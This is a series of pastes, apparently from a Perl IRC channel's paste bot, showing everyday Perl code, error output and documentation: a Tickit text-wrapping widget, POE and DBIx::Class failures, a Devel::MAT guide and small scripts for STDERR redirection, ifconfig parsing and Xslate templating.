1. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec vel nunc mauris. Integer aliquet lorem elementum viverra efficitur. Fusce et sapien justo. Phasellus nunc purus, dignissim sit amet efficitur a, pellentesque in justo. Ut et arcu et massa lobortis mollis. Nam sit amet mi purus. Fusce tempus, justo sagittis rutrum congue, odio nibh rutrum tortor, sed malesuada risus massa non quam. Integer ac augue egestas, placerat massa id, porta nisi.
EOT

$list->add( Tickit::Widget::StaticWrapped->new( expand => 1, text => <<'EOT' ) );
2. Nullam vitae dui et mi dignissim ornare. Mauris facilisis tellus vel lacus facilisis, non sodales dui semper. Cras ultricies purus vel enim porttitor egestas. Sed ullamcorper vitae tortor at tristique. Phasellus varius dolor turpis, et pharetra enim facilisis ut. Sed accumsan tristique velit in eleifend. Nam non aliquam odio, vitae rhoncus massa. Aliquam dignissim lectus at lacus varius scelerisque. Nullam ac lacus accumsan eros congue gravida sit amet sit amet lectus. Nullam in mollis eros. Sed at varius quam. Lorem ipsum dolor sit amet, consectetur adipiscing elit.
EOT

$list->add( Tickit::Widget::StaticWrapped->new( expand => 1, text => <<'EOT' ) );
3. Nam feugiat turpis sit amet fermentum molestie. Aenean et varius quam. Aenean ut tellus non tellus facilisis sollicitudin. Cras vehicula ex diam, ac egestas turpis dignissim ut. Aenean ac fringilla est. Donec ac turpis at risus viverra aliquam. Donec eget urna suscipit, suscipit elit id, eleifend tortor. Suspendisse tincidunt in neque at bibendum.
EOT

$list->add( Tickit::Widget::StaticWrapped->new( expand => 1, text => <<'EOT' ) );
4. Nunc euismod odio eget lacus rutrum convallis eget eu felis. Vivamus interdum eleifend sapien, nec dapibus enim eleifend ut. Duis quam dolor, porttitor quis lectus ac, commodo gravida velit. Suspendisse lacus libero, posuere non odio commodo, malesuada imperdiet turpis. Suspendisse at feugiat libero. Morbi hendrerit tempus sem, ut sagittis turpis interdum non. Curabitur felis quam, vulputate vel pharetra at, elementum quis tellus. Curabitur accumsan eu velit eget consectetur. Curabitur scelerisque neque nec velit hendrerit, id interdum est porta. Vivamus ut tincidunt odio. Morbi massa ligula, facilisis rutrum ornare sed, laoreet ac quam. Nam quis tempor magna. Proin nec tincidunt risus, in aliquet orci.
EOT

$box->add( $list, expand => 1);
$box->add( Tickit::Widget::Entry->new, expand => 0 );

my $ticket = Tickit->new(
    root => $box
)->run;


paste:
1. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec vel nunc mauris. Integer aliquet lorem elementum viverra efficitur. Fusce et sapien justo. Phasellus
nunc purus, dignissim sit amet efficitur a, pellentesque in justo. Ut et arcu et massa lobortis mollis. Nam sit amet mi purus. Fusce tempus, justo sagittis rutrum
congue, odio nibh rutrum tortor, sed malesuada risus massa non quam. Integer ac augue egestas, placerat massa id, porta nisi.
4. Nunc euismod odio eget lacus rutrum convallis eget eu felis. Vivamus interdum eleifend sapien, nec dapibus enim eleifend ut. Duis quam dolor, porttitor quis lectus


paste:
package Tickit::Widget::StaticWrapped;
use strict;
use warnings;

# ABSTRACT: Static text that wraps lines to its container size.
use Text::Wrap;
use base 'Tickit::Widget::Static';

sub set_text {
    my ($self, $text) = @_;

    $self->SUPER::set_text($text);
    $self->{unwrapped_lines} = [ @{ $self->{lines} } ];
    # SUPER::set_text may call this, but only if the number of lines changed.
    # The wrapping procedure could easily change the number of lines that a
    # single line produces, though.
    $self->resized;
}

sub reshape {
    my $self = shift;
    $self->SUPER::reshape(@_);

    local $Text::Wrap::columns = $self->window->cols;

    my @new_to_old;
    my @lines;
    my @ulines = @{ $self->{unwrapped_lines} };
    for my $idx (0 .. @ulines) {
        my $line = $ulines[$idx];
        my $wrapped = wrap('','',$line);

        my @wrapped_lines = split /\n/, $wrapped;
        # Remember which input line ($idx) produced each output line
        push @new_to_old, ($idx) x @wrapped_lines;

        push @lines, @wrapped_lines;
    }

    $self->{lines} = \@lines;
    $self->{line_expansion_map} = \@new_to_old;
}


1;


paste:
package Tickit::Widget::StaticWrapped;
use strict;
use warnings;

# ABSTRACT: Static text that wraps lines to its container size.
use Text::Wrap;
use base 'Tickit::Widget::Static';

sub set_text {
    my ($self, $text) = @_;

    $self->SUPER::set_text($text);
    $self->{unwrapped_lines} = [ @{ $self->{lines} } ];
    # In case wrapped version changes number of lines
    $self->_wrap_lines($self->window->cols) if $self->window;
}

sub lines {
    my $self = shift;
    $self->_wrap_lines($self->window->cols) if $self->window;
    return $self->SUPER::lines;
}

sub reshape {
    my $self = shift;
    $self->SUPER::reshape(@_);

    $self->_wrap_lines( $self->window->cols );
}

sub _wrap_lines
{
    my $self = shift;
    my ($cols) = @_;
    local $Text::Wrap::columns = $cols;

    my $waslines = @{ $self->{lines} };

    my @new_to_old;
    my @lines;
    my @ulines = @{ $self->{unwrapped_lines} };
    for my $idx (0 .. $#ulines) {
        my $line = $ulines[$idx];
        my $wrapped = wrap('','',$line);

        my @wrapped_lines = split /\n/, $wrapped;
        # Remember which input line ($idx) produced each output line
        push @new_to_old, ($idx) x @wrapped_lines;

        push @lines, @wrapped_lines;
    }

    $self->{lines} = \@lines;
    $self->{line_expansion_map} = \@new_to_old;

    $self->resized if $waslines != @lines;
}


1;


who: simcop2387
where: localhost:perlbot:#perl
what: POE failures
paste:

#   Failed test 'Mon Mar 20 07:37:56 2017 - coderef/shutdown stdout response'
#   at /home/ryan/perl5/perlbrew/perls/perlbot-blead-2017-03-20_17199/lib/site_perl/5.25.11/POE/Test/Loops/wheel_run.pm line 337.
#          got: 'out16667: got alarm'
#     expected: 'out16667: got eof 1'
Mon Mar 20 07:38:26 2017 - inactivity timeout reached! at /home/ryan/perl5/perlbrew/perls/perlbot-blead-2017-03-20_17199/lib/site_perl/5.25.11/POE/Test/Loops/wheel_run.pm line 149.


who: anno
where: localhost:perlbot:#perl
what: zxd: temporarily suppressing STDERR
paste:
#!/usr/bin/env perl
use warnings; $| = 1;
use 5.012;

{
    local *STDERR;
    open STDERR, '>', '/dev/null';
    warn "hihi\n";
}

warn "hoho\n";


paste:
#!/usr/bin/env perl
use warnings; $| = 1;
use 5.012;

{
    local *STDERR;
    open STDERR, '>', '/dev/null';
    warn "hihi\n";
    system("ls", "sdfsdf");
}

warn "hoho\n";


who: LeoNerd
paste:
=head1 NAME

C<Devel::MAT::UserGuide> - a users' introduction to C<Devel::MAT>

=head1 OVERVIEW

The C<Devel::MAT> ecosystem allows developers of F<perl> programs to inspect
and analyse memory-related problems such as memory leaks, unexpected memory
consumption, or odd state. This is an "offline" analysis system, in the sense
that the analysis tools all run in a different process, possibly at a later
time, than the F<perl> process that is being analysed.

The basic workflow consists of two main stages: first a I<heap dump> file is
generated from the F<perl> process being debugged, at or around the time that
the problem becomes apparent, and secondly this file is loaded by an analysis
tool in order to inspect the contents.

These two stages are described here separately. It is important to note that
they don't have to be done at the same time, on the same F<perl> process, or
even on the same sort of machine. It is fully possible to capture the heap
from a process on, say, a small server, then copy the file to a development
workstation or laptop and analyse it there at a later time.

=head1 CAPTURING THE HEAP

To generate the heap dump file that captures the contents of the heap, the
L<Devel::MAT::Dumper> module is used. Ultimately the C<dump> function within
it needs to be called, but usually one of the module load options can be used
on the F<perl> commandline to achieve this without requiring the running code
to be modified.

For example, the C<-dump_at_DIE> option means that a heap dump will be written
just before the process quits due to an uncaught exception:

  $ perl -MDevel::MAT::Dumper=-dump_at_DIE program.pl

At this point, the program will start up and run normally, but if it is about
to die, it will first write a F<.pmat> file capturing the contents of the
memory.

  ...
  Dumping to program.pl.pmat because of DIE
  Can't call method "method" on an undefined value at program.pl line 123.

There are a variety of other options for other situations, to suit other sorts
of bugs and issues under investigation. For more options, see the
documentation at L<Devel::MAT::Dumper/IMPORT OPTIONS>.

=head1 ANALYSING THE HEAP

=head2 The F<pmat> Shell

Now that we have a F<.pmat> file, we can load it and start to inspect the
contents. A lot of the smaller, simpler tools are built as plugins for the
main F<pmat> command shell, so we can start by loading the heap file there.

  $ pmat program.pl.pmat
  Perl memory dumpfile from perl 5.24.1
  Heap contains 15624 objects
  pmat>

For a brief overview, we can just count the total number of objects of various
kinds in the heap:

  pmat> count
    Kind                 Count      (blessed) 
    ARRAY                1259       89        
    CODE                 274                  
    GLOB                 326                  
  ...

For more information about a tool, for example the C<count> tool, note that
each one is implemented by a (correctly-cased) package under the
C<Devel::MAT::Tool> namespace. In this instance, the C<count> tool is
implemented by, and therefore more documentation can be found in, the
L<Devel::MAT::Tool::Count> package.

A list of the commands currently available in the shell can be found by

  pmat> help

=head1 AUTHOR

Paul Evans <leonerd@leonerd.org.uk>

=cut


where: localhost:perlbot:#perl
paste:
black@BlackHoleHost:~/SPADS$ perl -I . spads.pl "/home/black/hostSettings/reborn.conf" hostingPreset="reborn"
Can't locate SimpleEvent.pm in @INC (you may need to install the SimpleEvent module) (@INC contains: /home/black/perl5/lib/perl5/x86_64-linux-gnu-thread-multi /home/black/perl5/lib/perl5 /etc/perl /usr/local/lib/x86_64-linux-gnu/perl/5.24.1 /usr/local/share/perl/5.24.1 /usr/lib/x86_64-linux-gnu/perl5/5.24 /usr/share/perl5 /usr/lib/x86_64-linux-gnu/perl/5.24 /usr/share/perl/5.24 /usr/local/lib/site_perl /usr/lib/x86_64-linux-gnu/perl-base) at spads.pl line 38.
BEGIN failed--compilation aborted at spads.pl line 38.



black@BlackHoleHost:~/SPADS$ ls -l
total 8452
lrwxrwxrwx 1 black black       8 Feb 24  2016 7za -> 7za-9.20
-rwxr-xr-x 1 black black 1432128 Feb 24  2016 7za-9.20
-rwxr-xr-x 1 black black   87957 Feb 24  2016 argparse-1.2.1.py
lrwxrwxrwx 1 black black      17 Feb 24  2016 argparse.py -> argparse-1.2.1.py
-rw-r--r-- 1 black black   63423 Feb 24  2016 argparse.pyc
-rw-r--r-- 1 black black      11 Oct  9 11:25 battleopen.txt
-rw-r--r-- 1 black black      13 Oct  8 10:56 caricato.txt
-rw-r--r-- 1 black black   86815 Feb 24  2016 CHANGELOG
drwxr-xr-x 2 black black    4096 Feb 24  2016 doc
drwxr-xr-x 3 black black    4096 Nov 30 06:37 etc
-rwxr-xr-x 1 black black    8578 Feb 24  2016 getDefaultModOptions_0.4d.pl
lrwxrwxrwx 1 black black      28 Feb 24  2016 getDefaultModOptions.pl -> getDefaultModOptions_0.4d.pl
-rw-r--r-- 1 black black   19412 Feb 24  2016 help_0.12.3.dat
lrwxrwxrwx 1 black black      15 Feb 24  2016 help.dat -> help_0.12.3.dat
-rw-r--r-- 1 black black   70861 Feb 24  2016 helpSettings_0.5.7.dat
-rw-r--r-- 1 black black   71427 Jul  9  2016 helpSettings_0.5.8a.dat
lrwxrwxrwx 1 black black      23 Jul  9  2016 helpSettings.dat -> helpSettings_0.5.8a.dat
-rw-r--r-- 1 black black    1865 Nov  8  2015 INSTALL
-rw-r--r-- 1 black black   35147 Dec 11  2008 LICENSE
-rw-r--r-- 1 black black    7781 Feb 24  2016 PerlUnitSync.pm
-rwxr-xr-x 1 black black  174064 Feb 24  2016 PerlUnitSync.so
drwxr-xr-x 5 black black    4096 Aug 26  2016 plugins
-rw-r--r-- 1 black black    4560 Feb 24  2016 README.md
-rwxr-xr-x 1 black black    4645 Feb 24  2016 replay_upload_0.5.py
lrwxrwxrwx 1 black black      20 Feb 24  2016 replay_upload.py -> replay_upload_0.5.py
-rw-r--r-- 1 black black   17805 Feb 24  2016 SimpleEvent_0.1b.pm
lrwxrwxrwx 1 black black      19 Feb 24  2016 SimpleEvent.pm -> SimpleEvent_0.1b.pm
-rw-r--r-- 1 black black    5420 Feb 24  2016 SimpleLog_0.7.pm
lrwxrwxrwx 1 black black      16 Feb 24  2016 SimpleLog.pm -> SimpleLog_0.7.pm
-rwxr-xr-x 1 black black  502362 Feb 24  2016 spads_0.11.38a.pl
-rwxr-xr-x 1 black black  502501 Jul  9  2016 spads_0.11.39.pl
-rw-r--r-- 1 black black   86505 Feb 24  2016 SpadsConf_0.11.11.pm
-rw-r--r-- 1 black black   86535 Jul  9  2016 SpadsConf_0.11.12.pm
lrwxrwxrwx 1 black black      20 Jul  9  2016 SpadsConf.pm -> SpadsConf_0.11.12.pm
-rwxr-xr-x 1 black black   24283 Feb 24  2016 spadsInstaller_0.17c.pl
lrwxrwxrwx 1 black black      23 Feb 24  2016 spadsInstaller.pl -> spadsInstaller_0.17c.pl
lrwxrwxrwx 1 black black      16 Jul  9  2016 spads.pl -> spads_0.11.39.pl
-rw-r--r-- 1 black black   40075 Feb 24  2016 SpadsPluginApi_0.22a.pm
lrwxrwxrwx 1 black black      23 Feb 24  2016 SpadsPluginApi.pm -> SpadsPluginApi_0.22a.pm
-rw-r--r-- 1 black black   23858 Feb 24  2016 SpadsUpdater_0.12.pm
-rw-r--r-- 1 black black       0 Oct  9 14:26 SpadsUpdater.lock
lrwxrwxrwx 1 black black      20 Feb 24  2016 SpadsUpdater.pm -> SpadsUpdater_0.12.pm
-rw-r--r-- 1 black black   21528 Feb 24  2016 SpringAutoHostInterface_0.11.pm
lrwxrwxrwx 1 black black      31 Feb 24  2016 SpringAutoHostInterface.pm -> SpringAutoHostInterface_0.11.pm
-rw-r--r-- 1 black black   57521 Feb 24  2016 SpringLobbyInterface_0.21.pm
lrwxrwxrwx 1 black black      28 Feb 24  2016 SpringLobbyInterface.pm -> SpringLobbyInterface_0.21.pm
drwxr-xr-x 2 black black    4096 Feb 24  2016 src
-rw-r--r-- 1 black black 5099986 Oct  9 14:07 start.txt
-rw-r--r-- 1 black black    3459 Feb 24  2016 TODO
-rw-r--r-- 1 black black    2334 Feb 24  2016 UPDATE
-rwxr-xr-x 1 black black    5574 Feb 24  2016 update_0.10b.pl
-rw-r--r-- 1 black black     595 Jul  9  2016 updateInfo.txt
lrwxrwxrwx 1 black black      15 Feb 24  2016 update.pl -> update_0.10b.pl
drwxr-xr-x 3 black black    4096 Feb 24  2016 var


paste:
#!/usr/bin/perl -w
#
# SPADS: Spring Perl Autohost for Dedicated Server
#
# Copyright (C) 2008-2015  Yann Riou <yaribzh@gmail.com>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
#


use strict;

use Config;
use Cwd;
use Digest::MD5 'md5_base64';
use Fcntl qw':DEFAULT :flock';
use File::Copy;
use File::Spec::Functions qw'catfile file_name_is_absolute';
use IPC::Cmd 'can_run';
use List::Util qw'first shuffle';
use MIME::Base64;
use POSIX qw'ceil uname';
use Storable qw'nfreeze dclone';
use Text::ParseWords;
use Time::HiRes;

use SimpleEvent;
use SimpleLog;
use SpadsConf;
use SpadsUpdater;
use SpringAutoHostInterface;
use SpringLobbyInterface;


who: geri
where: localhost:perlbot:#perl
paste:
#!/usr/local/bin/perl

#use Data::Munge;
#use Carp::Assert;

sub parse_name
{
    my ($input) = @_;

    my $str = "test123";
    my $size = 2;
    return($str, $size);
}

my $input =  "balldfldlfdfdf";
my ($name, $size) = parse_name($input);

if ($name ne "test123") { print("test failed"); }

print("tests finsished...");


paste:
#!/usr/local/bin/perl

#use Data::Munge;
#use Carp::Assert;

sub parse_name
{
    my ($input) = @_;

    my $str = "test123d";
    my $size = 2;
    return($str, $size);
}

my $input =  "balldfldlfdfdf";
my ($name, $size) = parse_name($input);

if ($name ne "test123") { print("test failed"); }

print("tests finsished...");


paste:
use strict;
use warnings;

print "\n";

open in, "/sbin/ifconfig |";
my (@addrs);
while (my $line = <in>)
  {
#  if ($line =~ /inet addr:((\d+\.)+\d)/) # truncates ip address
  if ($line =~ /inet addr:([\d.]+)/)
    {
    push @addrs, $1;
    }
  }
close(in);
print "You have the following addresses: \n", join("\n", @addrs), "\n";

print "\n";

open my $in, "/sbin/ifconfig |";
my (@addrs);
while (my $line = <$in>)
  {
#  if ($line =~ /inet addr:((\d+\.)+\d)/) # truncates ip address
  if ($line =~ /inet addr:([\d.]+)/)
    {
    push @addrs, $1;
    }
  }
close($in);
print "You have the following addresses: \n", join("\n", @addrs), "\n";

print "\n";


paste:
use strict;
use warnings;

print "\n";

open my $in, "/sbin/ifconfig |";
my (@addrs);
while (my $line = <$in>)
  {
# from pink_mist   also instead of while/if/push, you can do my @addrs = map $1, grep /inet addr:([\d.]+)/, readline $in; ... I think
#  if ($line =~ /inet addr:((\d+\.)+\d)/) # truncates ip address
  if ($line =~ /inet addr:([\d.]+)/)
    {
    push @addrs, $1;
    }
  }
close($in);
print "You have the following addresses: \n", join("\n", @addrs), "\n";

print "\n";

open "in", "/sbin/ifconfig |";
#my (@addrs); # conflicts with above my (@addrs)
splice(@addrs); # clears array    or use another variable
while (my $line = <in>)
  {
#  if ($line =~ /inet addr:((\d+\.)+\d)/) # truncates ip address
  if ($line =~ /inet addr:([\d.]+)/)
    {
    push @addrs, $1;
    }
  }
close("in");
print "You have the following addresses: \n", join("\n", @addrs), "\n";

print "\n";


paste:
#use lib '/usr/local/lib/perl5';
#use lib '/usr/local/lib/perl5/5.8.8';
#use lib '/usr/local/lib/perl5/5.8.8/WWW';
#use lib '/usr/local/lib/perl5/5.8.8/WWW/Mechanize.pm';
use WWW::Mechanize;

#Can't locate WWW/Mechanize.pm in @INC (@INC contains: $directories_above)


who: jjatria
where: localhost:perlbot:#perl
paste:
baboso@vania:~/work/proj/cloudcast/devel/server$ rm -rf share/
baboso@vania:~/work/proj/cloudcast/devel/server$ mkdir share
baboso@vania:~/work/proj/cloudcast/devel/server$ dbic-migration -Ilib --schema_class CloudCAST::Schema --databases PostgreSQL prepare
There is no current database deployed, so I can't prepare upgrades
or downgrades
baboso@vania:~/work/proj/cloudcast/devel/server$ dbic-migration -Ilib --schema_class CloudCAST::Schema --databases PostgreSQL status
Schema is 1
Database is not currently installed
baboso@vania:~/work/proj/cloudcast/devel/server$ dbic-migration -Ilib --schema_class CloudCAST::Schema --databases PostgreSQL install
Since this database is not versioned, we will assume version 1
Reading configurations from /home/baboso/work/proj/cloudcast/devel/server/share/fixtures/1/conf
Can't opendir($fh, '/home/baboso/work/proj/cloudcast/devel/server/share/migrations/SQLite/deploy/1'): No such file or directory at /home/baboso/perl5/perlbrew/perls/perl-5.24.1/lib/site_perl/5.24.1/DBIx/Class/DeploymentHandler/DeployMethod/SQL/Translator.pm line 109
DBIx::Class::Storage::TxnScopeGuard::DESTROY(): A DBIx::Class::Storage::TxnScopeGuard went out of scope without explicit commit or error. Rolling back. at /home/baboso/perl5/perlbrew/perls/perl-5.24.1/bin/dbic-migration line 0


who: jid
where: localhost:perlbot:#perl
what: Access variables outside bare block
paste:
    {
        package MyTemplate;
        use parent qw(Text::Xslate);

        sub slurp_template {
            my($self, $input_layer, $fullpath) = @_;

            my $content = $self->SUPER::slurp_template(
                            $input_layer,
                            $fullpath,
            );
            ### process $content ###
            return $content;
        }
    }


paste:
#!/usr/bin/env perl

use strict;
use warnings;

use Path::Tiny;
use Text::Markdown 'markdown';
use Data::Dumper;

# Override Xslate to extract YAML frontmatter before template rendering
my $frontmatter;

{

    package MyXslate;
    use parent qw(Text::Xslate);
    use Text::FrontMatter::YAML;
    use utf8;

    sub slurp_template {
        my ( $self, $input_layer, $fullpath ) = @_;

        my $content = $self->SUPER::slurp_template( $input_layer, $fullpath, );
        ### process $content ###
        utf8::encode($content);
        my $extract_yaml =
          Text::FrontMatter::YAML->new( document_string => $content );
        $frontmatter = $extract_yaml->frontmatter_hashref;
        $content     = $extract_yaml->data_text;

        return $content;
    }

}

# Subfolder for posts
my $posts_path = './posts';

# Subfolder for converted HTML
my $html_path = "html/";

#---------------------------------------------------------------#
# Create only one Xslate instance (outside while loop)          #
#---------------------------------------------------------------#
my $tx = MyXslate->new(
    path   => [ '.', $posts_path ],
    header => ["header.tx"],
    footer => ["footer.tx"],
);

#---------------------------------------------------------------#
# Do the bulk of the processing in a while loop                 #
#---------------------------------------------------------------#
# Use Path::Tiny to process all files in 'posts' subfolder
my $dir  = path($posts_path);
my $iter = $dir->iterator;
my %index;    # keep a record of all posts found

while ( my $post = $iter->() ) {
    if ( $post =~ /\.tx$/ ) {

        $tx->load_file($post);

        # Simpler variables for frontmatter
        my $post_title = $frontmatter->{'title'};
        my $date       = $frontmatter->{'date'};

        # Give Xslate access to some external info, such as YAML frontmatter
        my %vars = (
            title => $post_title // "title",
            filename => $post->basename,
        );

        # Process the templates to HTML using Xslate
        my $xslate_html = $tx->render( $post, \%vars );

        # Convert any markdown markup to HTML
        my $markdown_html = markdown($xslate_html);

        # Save in 'html' dir as the original postname, but with '.html' suffix
        path( $html_path . $post->basename('.tx') . ".html" )
          ->spew($markdown_html);

    }
}


